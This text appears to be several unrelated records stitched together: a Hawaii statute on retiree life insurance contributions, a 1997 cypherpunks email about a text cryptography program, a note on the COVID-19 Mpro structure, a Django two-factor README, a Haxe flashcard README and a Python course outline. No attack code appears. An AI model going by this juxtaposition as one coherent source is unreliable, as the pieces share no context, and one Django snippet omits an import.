**[§87A-37] Group life insurance benefits plans for retired employees; contributions.** (a) The State, through the department of budget and finance, and the counties, through their respective departments of finance, shall pay to the fund a base monthly contribution as set forth in subsection (b) for each retired employee enrolled in the fund's group life insurance benefits plan under section 87A-34, 87A-35, and 87A-36.

(b) Effective July 1, 2003, there is established a base monthly contribution of $4.16 for each retired employee enrolled in a group life insurance plan; provided that the monthly contribution shall not exceed the actual cost of the group life insurance benefits plan. The base composite monthly contribution shall be adjusted annually beginning July 1, 2004\. The adjusted base composite monthly contribution for each new plan year shall be calculated by increasing or decreasing the base composite monthly contribution in effect through the end of the previous plan year by the percentage increase or decrease in the medicare part B premium rate for those years. The percentage shall be calculated by dividing the medicare part B premium rate in effect at the beginning of the new plan year by the rate in effect through the end of the previous plan year.

As used in this subsection, "medicare part B premium rate" means the rate published in the Federal Register each year on November 1 or on the business day closest to November 1 of each year after the medicare part B premium rate has been established by the Secretary of Health and Human Services and approved by the United States Congress. [L 2001, c 88, pt of §1]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
---
layout: default
---

# 1997-07-29 - Re: New Crypto Application

## Header Data

From: Bill Stewart<EMAIL_ADDRESS>To: Guillotine<EMAIL_ADDRESS>Message Hash: 84af00831b8d48e7199596dca612f7820eda9d64f1019bd45e51302434521739

Message ID<EMAIL_ADDRESS>Reply To<EMAIL_ADDRESS>UTC Datetime: 1997-07-29 07:59:54 UTC

Raw Date: Tue, 29 Jul 1997 15:59:54 +0800

## Raw message

```
{% raw  %}From: Bill Stewart<EMAIL_ADDRESS>Date: Tue, 29 Jul 1997 15:59:54 +0800
To: Guillotine<EMAIL_ADDRESS>Subject: Re: New Crypto Application
In-Reply-To<EMAIL_ADDRESS>Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

At 03:24 PM 7/27/97 -0600, Guillotine wrote:
>I'm creating a new _text_ cryptography program.

What do you mean by "text cryptography"?  You'll only accept text as input,
or you'll produce your output in ASCII, or you'll produce your output
as English-like words?  None of the common encryption algorithms treats
text input any differently that raw bits, and it's worth taking whatever
input you have and compressing it to reduce the amount of data the
encryption and transmission phases need to handle.  Producing printable
ASCII as an output format isn't a cryptography issue - it's just a
simple reversable transform from a bunch of raw bits to printable,
and there's no excuse for inventing a new format rather than using
MIME encoding, uuencode, or btoa, unless you're doing something extremely
creative with Unicode...

Producing output as English-like words is more interesting.
It's a steganography issue, not a cryptography issue, since you should
be doing the secure part first anyway, but it can be useful for
obscuring the fact that you're using crypto in a message.
The canonical reference is to Peter Wayner's Mimic Functions,
which let you model an arbitrary context-free grammar for output,
but you should also look around for "texto".  (The other canonical
reference is to "PHB", Dilbert's program that disguises the message
in Pointy Haired Boss jargon, but I'm not aware that anyone's written it.)

A good book to read on cryptois Bruce Schneier's "Applied Cryptography",
which discusses most of the current algorithms and how they're used.
>The encryption algorithm,
>using a symmetrical is going to be as strong as legally allowed,

There are no legal restrictions on cryptography strength in the US;
only restrictions on what's exportable, and even then you need permission.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215<EMAIL_ADDRESS># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

{% endraw %}
```

## Thread

+ Return to [July 1997](/archive/1997/07)

+ Return to "[? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>](/authors/_the_platypus_aka_david_formosa_dformosa_at_st_nepean_uws_edu_au_)"
+ Return to "[Bill Stewart <stewarts@ix.netcom.com>](/authors/bill_stewart_stewarts_at_ix_netcom_com_)"
+ Return to "[Craig Strickland <tgi@null.net>](/authors/craig_strickland_tgi_at_null_net_)"
+ Return to "[Dave K-P <dkp@iname.com>](/authors/dave_kp_dkp_at_iname_com_)"
+ Return to "[David Macfarlane <dmac@bway.net>](/authors/david_macfarlane_dmac_at_bway_net_)"
+ Return to<EMAIL_ADDRESS>(Dr.Dimitri Vulis KOTM)](/authors/dlv_at_bwalk_dm_com_dr_dimitri_vulis_kotm_)"
+ Return to "[Guillotine <guill@xmission.com>](/authors/guillotine_guill_at_xmission_com_)"
+ Return to "[Jeff Barber <jeffb@issl.atl.hp.com>](/authors/jeff_barber_jeffb_at_issl_atl_hp_com_)"
+ Return to "[Ray Arachelian <sunder@brainlink.com>](/authors/ray_arachelian_sunder_at_brainlink_com_)"
+ Return to "[Tim May <tcmay@got.net>](/authors/tim_may_tcmay_at_got_net_)"
+ Return to "["William H. Geiger III" <whgiii@amaranth.com>](/authors/william_h_geiger_iii_whgiii_at_amaranth_com_)"

+ 1997-07-27 (Mon, 28 Jul 1997 05:39:47 +0800) - [New Crypto Application](/archive/1997/07/099d6ca707c1017261da5d8e3d86bc14ce9f69ddd1bc46e057b116d2a3be0180) - _Guillotine<EMAIL_ADDRESS>  + 1997-07-28 (Mon, 28 Jul 1997 18:49:42 +0800) - [Re: New Crypto Application](/archive/1997/07/7dfe7dab00044716ffaec700876168b60e91d94bc0096e9a933878f0c8401832) - _? the platypus {aka David Formosa}<EMAIL_ADDRESS>    + 1997-07-28 (Tue, 29 Jul 1997 02:28:30 +0800) - [Re: New Crypto Application](/archive/1997/07/fc4aae25c10af9fbada978be7f99e4da2d11681d2d185258023b8d2221c06a72) - _Dave K-P<EMAIL_ADDRESS>    + 1997-07-29 (Tue, 29 Jul 1997 15:40:58 +0800) - [Re: New Crypto Application](/archive/1997/07/5ccd451a6649c17b4f7143703e4fdc8e8a9fbdff979309750cd7f735ffe881a2) - _Tim May<EMAIL_ADDRESS>      + 1997-07-29 (Wed, 30 Jul 1997 02:33:48 +0800) - [Re: New Crypto Application](/archive/1997/07/e2aff0a5e9f9c2083c63a41fd03fa88f1984fdcc26f8792adbb22a2b252cade8) - _Ray Arachelian<EMAIL_ADDRESS>  + 1997-07-28 (Mon, 28 Jul 1997 22:05:07 +0800) - [Re: New Crypto Application](/archive/1997/07/1d238c6aa0590f6d933f08f9a39afe5a8b6bb71dff9571ec5bfa7143227f9b00) -<EMAIL_ADDRESS>(Dr.Dimitri Vulis KOTM)_
  + 1997-07-29 (Tue, 29 Jul 1997 15:59:54 +0800) - Re: New Crypto Application - _Bill Stewart<EMAIL_ADDRESS>    + 1997-07-29 (Wed, 30 Jul 1997 02:46:45 +0800) - [Crypto Hooks](/archive/1997/07/4fb5c95be6beba25b5a0f81e9f5d61f0ebcad6118860a3e023504f5d0d5add3f) - _Tim May<EMAIL_ADDRESS>      + 1997-07-29 (Wed, 30 Jul 1997 03:57:24 +0800) - [Re: Crypto Hooks](/archive/1997/07/b2cfc9ff64c863edb0edb8d83d1822c6ee4c0f4e6d13594921c8bf06f3397e2f) - _"William H. Geiger III"<EMAIL_ADDRESS>      + 1997-07-29 (Wed, 30 Jul 1997 05:07:05 +0800) - [Re: Crypto Hooks](/archive/1997/07/8fab8866335b97530e9b273fcfa568c816afed4df254833624f50fc0b2dea399) - _Ray Arachelian<EMAIL_ADDRESS>  + 1997-07-29 (Tue, 29 Jul 1997 16:51:38 +0800) - [Re: New Crypto Application](/archive/1997/07/e8b632dee8446f612fa4189899999df7857932bd6122469d3292705a6dad7b51) - _Craig Strickland<EMAIL_ADDRESS>  + 1997-07-29 (Tue, 29 Jul 1997 20:38:25 +0800) - [Re: New Crypto Application](/archive/1997/07/e70447ac75f265d13ec0239f4d82ddc360f22d5b08216108a946fe01d4759123) - _David Macfarlane<EMAIL_ADDRESS>    + 1997-07-29 (Tue, 29 Jul 1997 22:03:35 +0800) - [Re: New Crypto Application](/archive/1997/07/1ad25effb6eb56ec2ea610a8f488a8f47a04fa7f3dad1f637ffed23d2dd35355) - _Jeff Barber<EMAIL_ADDRESS>


text:
Structure of Mpro from COVID-19 virus and discovery of its inhibitors
---
Zhenming Jin, Xiaoyu Du, Yechun Xu, Yongqiang Deng, Meiqin Liu, Yao Zhao, Bing Zhang,
Xiaofeng Li, Leike Zhang, Chao Peng, Yinkai Duan, Jing Yu, Lin Wang, Kailin Yang, Fengjiang
Liu, Rendi Jiang, Xinglou Yang, Tian You, Xiaoce Liu, Xiuna Yang, Fang Bai, Hong Liu, Xiang
Liu, Luke W. Guddat, Wenqing Xu, Gengfu Xiao, Chengfeng Qin, Zhengli Shi, Hualiang Jiang,
Zihe Rao & Haitao Yang

Nature (2020); ASAP
Source: https://doi.org/10.1038/s41586-020-2223-y

---

Ligand
An inhibitor that interferes with the action of SARS abd SARS-CoV-2 coronavirus main proteinase (Mpro)
Link: https://www.ebi.ac.uk/chebi/searchId.do?chebiId=CHEBI:39900

---

Protein
PDB [6LU7](https://www.rcsb.org/structure/6LU7) : COVID-19 virus Mpro in complex with the inhibitor N3 (X-RAY DIFFRACTION 2.16 Å)
PDB [7BQY](https://www.rcsb.org/structure/7BQY) : COVID-19 virus Mpro in complex with the inhibitor N3 (X-RAY DIFFRACTION 1.70 Å)
PDB [6M03](https://www.rcsb.org/structure/6M03) : The crystal structure of COVID-19 main protease in apo form (no ligand bound) (2.00 Å)

---
Inibitor N3 docked in SARS-CoV-2 main protease 6LU7

Figure with Biovia Discovery Studio Visualizer [LINK](https://www.3dsbiovia.com/products/collaborative-science/biovia-discovery-studio/visualization.html)


text:
# Yet Another Implementation of OTP for Django

[![Test]][Test Link] [![Deploy]][Deploy Link]  [![Climate Ment]][Climate Ment Link] [![Cov]][CovLink]

[Test]: https://github.com/hiroaki-yamamoto/django-good-otp/actions/workflows/test.yml/badge.svg
[Test Link]: https://github.com/hiroaki-yamamoto/django-good-otp/actions/workflows/test.yml
[Deploy]: https://github.com/hiroaki-yamamoto/django-good-otp/actions/workflows/deploy.yml/badge.svg
[Deploy Link]: https://github.com/hiroaki-yamamoto/django-good-otp/actions/workflows/deploy.yml
[Cov]: https://api.codeclimate.com/v1/badges/a7fd8fd626e3477e28e9/test_coverage
[CovLink]: https://codeclimate.com/github/hiroaki-yamamoto/django-good-otp/test_coverage
[Climate Ment]: https://api.codeclimate.com/v1/badges/a7fd8fd626e3477e28e9/maintainability
[Climate Ment Link]: https://codeclimate.com/github/hiroaki-yamamoto/django-good-otp/maintainability

## What This?

This script is "Yet Another Implementation" of 2 factor authentication.

## Why I re-invent?

First, I tried [Django OTP], but 2 FA code is required though it should be
optional. Moreover, Admin Panel to edit/fix secret key is not provided.

Then, I tried [django-two-factor-auth], but I found it is the wrapper of
[Django OTP] that requires 2FA code to the user who doesn't have 2FA enabled.

[Django OTP]: https://bitbucket.org/psagers/django-otp
[django-two-factor-auth]: https://github.com/Bouke/django-two-factor-auth

## How to use

1. Install this script. There's [pip package] and you can install it by
   `pip install django_good_otp`.
2. Create a Django project as usual.
3. Edit settings.py. You will need to edit INSTALLED_APPS and
   AUTHENTICATION_BACKENDS. For detail, refer **Edit Settings** section.
4. Run migration as usual.
5. Edit `url.py` of your root URL config to enable QR Code.
   For details, Check out **URL Routing** section.
6. To enable admin panel, you will need to write very small code.
   For details, Check out **Enable Admin Panel** section.
7. To use 2FA on Admin panel login, you will also need to write very simple
   code. For details, Check out **Enable Admin Panel** section.

[pip package]: https://pypi.python.org/pypi/django_good_otp

## Edit settings

You will need to edit configuration such settings.py. The variable to edit
is `INSTALLED_APPS` and `AUTHENTICATION_BACKENDS`.

### INSTALLED_APPS

You will just need to add `'django_otp.DjangoOTP'`
after `'django.contrib.auth'` i.e. it should be like this:

`settings.py`
```python
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    "django_otp.DjangoOTP"
]
```

Note that this depends on the case. i.e. If you have more apps
installed/uninstalled, your `INSTALLED_APPS` list might be longer/shorter than
this.

### AUTHENTICATION_BACKENDS

To use 2 FA, you will need to replace authentication backend with the backend
this module provides. i.e. just set `AUTHENTICATION_BACKENDS` in `settings.py`
to `("django_otp.backends.OTPAuthBackend", )`. i.e. like this:

`settings.py`
```python
AUTHENTICATION_BACKENDS = ("django_otp.backends.OTPAuthBackend", )
```

## URL Routing

This module supports QRCode to transfer Secret Key to your device. To
use it, you will need to add `django_otp.urls` with `include` function
like this:

`urls.py`
```python
from django.conf.urls import url, include
from django.contrib import admin

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^qr/', include("django_otp.urls"))
]
```

## Enable Admin Panel

### Admin Panel

By default, Admin Panel of the model that stores secret key is **disabled**.
To enable Admin Panel, you will need to call `OTPAdmin.enable()` method like
this:

`urls.py`
```python
from django.conf.urls import url, include
from django.contrib import admin
from django_otp.admin import OTPAdmin

OTPAdmin.enable()

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^qr/', include("django_otp.urls"))
]
```

### Using 2FA form on adminsite

Unfortunately, login template of administration site doesn't handle custom
login form. Therefore, to use 2FA-ready admin form, you will need to replace
`admin.site` with `django_otp.admin.AdminSite`. i.e. like this:

`urls.py`
```python
from django.conf.urls import url, include
from django.contrib import admin

from django_otp.admin import AdminSite

OTPAdmin.enable()
admin.site = AdminSite()

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^qr/', include("django_otp.urls"))
]
```

## Other stuff
For other stuff that is not documented here, please refer the [source code].

[source code]: https://github.com/hiroaki-yamamoto/django-good-otp

## Contribution
The code is on [Github] and you can create issues/PRs. Making issues is
appreciated, however, **making PRs is more appreciated**.

[Github]: https://github.com/hiroaki-yamamoto/django-good-otp

repository: hiroaki-yamamoto/django-good-otp

repo_name: hiroaki-yamamoto/django-good-otp


text:
# Example Javascript

This is a [Haxe](http://www.haxe.org) project, read more about it in the [README_HAXE.MD](README_HAXE.MD)!

![](icon.png)

> A flashcard or flash card (also known as an index card) is a card bearing information on both sides, which is intended to be used as an aid in memorization. Each flashcard bears a question on one side and an answer on the other. Flashcards are often used to memorize vocabulary, historical dates, formulas or any subject matter that can be learned via a question-and-answer format. Flashcards can be virtual (part of a flashcard software), or physical.

source: https://en.wikipedia.org/wiki/Flashcard

## Resources

- https://en.wikipedia.org/wiki/Flashcard
- https://frontendinterviewhandbook.com/html-questions/
- https://getbootstrap.com/
- https://highlightjs.org/

repository: MatthijsKamstra/flash-cards

repo_name: MatthijsKamstra/flash-cards


text:
# Getting started

- Review of syllabus
    - People and office hours
    - Learning objectives
    - Course content
    - Grading
    - Homework policy
    - Expectations
- Using Jupyter on Docker
- Using GitHub
- Local installation
    - Optional: [Anaconda Python 3.5](https://www.continuum.io/downloads)
    - Optional: [Rodeo IDE for Python](http://rodeo.yhat.com)
- Using Jupyter
    - Navigation
    - Help
    - Markdown cells
    - Code cells
    - Keyboard shortcuts
    - Literate programming
- Programming in Python
    - Calculator
    - Basic types
    - Data structures
    - Flow control
    - Built-in functions
- Reference books (optional)
    - Python Data Science Handbook: Essential Tools for Working with Data By Jake VanderPlas
    - Python for Data Analysis: Data Wrangling with Pandas, NumPy, and IPython (2nd edition) By Wes McKinney (not published yet)
    - High Performance Python: Practical Performant Programming for Humans By Micha Gorelick, Ian Ozsvald
    - Discovering Modern C++: An Intensive Course for Scientists, Engineers, and Programmers by Peter Gottschling
    - [Bayesian Methods for Hackers: Probabilistic Programming and Bayesian Inference by Cameron Davidson-Pilon](http://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/)